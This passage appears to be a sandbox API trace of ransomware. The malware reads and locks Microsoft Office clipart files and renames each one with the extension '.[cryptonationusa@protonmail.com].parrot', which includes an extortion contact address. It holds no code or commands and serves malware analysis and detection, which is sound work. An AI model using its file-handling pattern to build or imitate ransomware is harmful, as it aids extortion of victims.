dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.999] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x302c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x302c, lpOverlapped=0x0) returned 1 [0140.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.000] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.001] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3144, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.001] CloseHandle (hObject=0x288) returned 1 [0140.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.199] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x211c, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.199] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.199] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.201] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.201] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2004, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2004, lpOverlapped=0x0) returned 1 [0140.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.202] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.202] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x211c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.202] CloseHandle (hObject=0x27c) returned 1 [0140.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.207] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d24, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.207] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.207] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.209] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.209] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c0c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c0c, lpOverlapped=0x0) returned 1 [0140.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.210] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.210] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d24, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.210] CloseHandle (hObject=0x27c) returned 1 [0140.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.214] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.214] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.214] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.215] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14c0, lpOverlapped=0x0) returned 1 [0140.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.216] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.217] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.217] CloseHandle (hObject=0x27c) returned 1 [0140.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.220] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2094, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.220] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.220] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.221] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.222] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f7c, lpOverlapped=0x0) returned 1 [0140.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.222] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.223] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2094, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.223] CloseHandle (hObject=0x27c) returned 1 [0140.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.227] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7b5e, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.227] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.227] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.228] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.229] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a46, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7a46, lpOverlapped=0x0) returned 1 [0140.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.230] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.231] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7b5e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.231] CloseHandle (hObject=0x27c) returned 1 [0140.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.236] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4d22, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.236] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.250] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.250] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c0a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4c0a, lpOverlapped=0x0) returned 1 [0140.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.252] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.252] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4d22, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.252] CloseHandle (hObject=0x27c) returned 1 [0140.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.256] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa1c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.256] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.256] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.259] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.259] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa0b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa0b0, lpOverlapped=0x0) returned 1 [0140.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.261] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.262] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa1c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.262] CloseHandle (hObject=0x27c) returned 1 [0140.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a3268 [0140.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.265] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5020, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.265] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.266] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.267] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.267] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4f08, lpOverlapped=0x0) returned 1 [0140.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.269] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.270] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5020, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.270] CloseHandle (hObject=0x27c) returned 1 [0140.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.274] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.274] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.274] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.276] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.276] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5398, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5398, lpOverlapped=0x0) returned 1 [0140.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.277] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.277] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.278] CloseHandle (hObject=0x27c) returned 1 [0140.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.281] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3786, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.281] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.281] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.282] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.282] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x366e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x366e, lpOverlapped=0x0) returned 1 [0140.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.283] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.283] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3786, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.283] CloseHandle (hObject=0x27c) returned 1 [0140.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.286] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2856, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.286] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.286] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.293] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.293] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x273e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x273e, lpOverlapped=0x0) returned 1 [0140.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 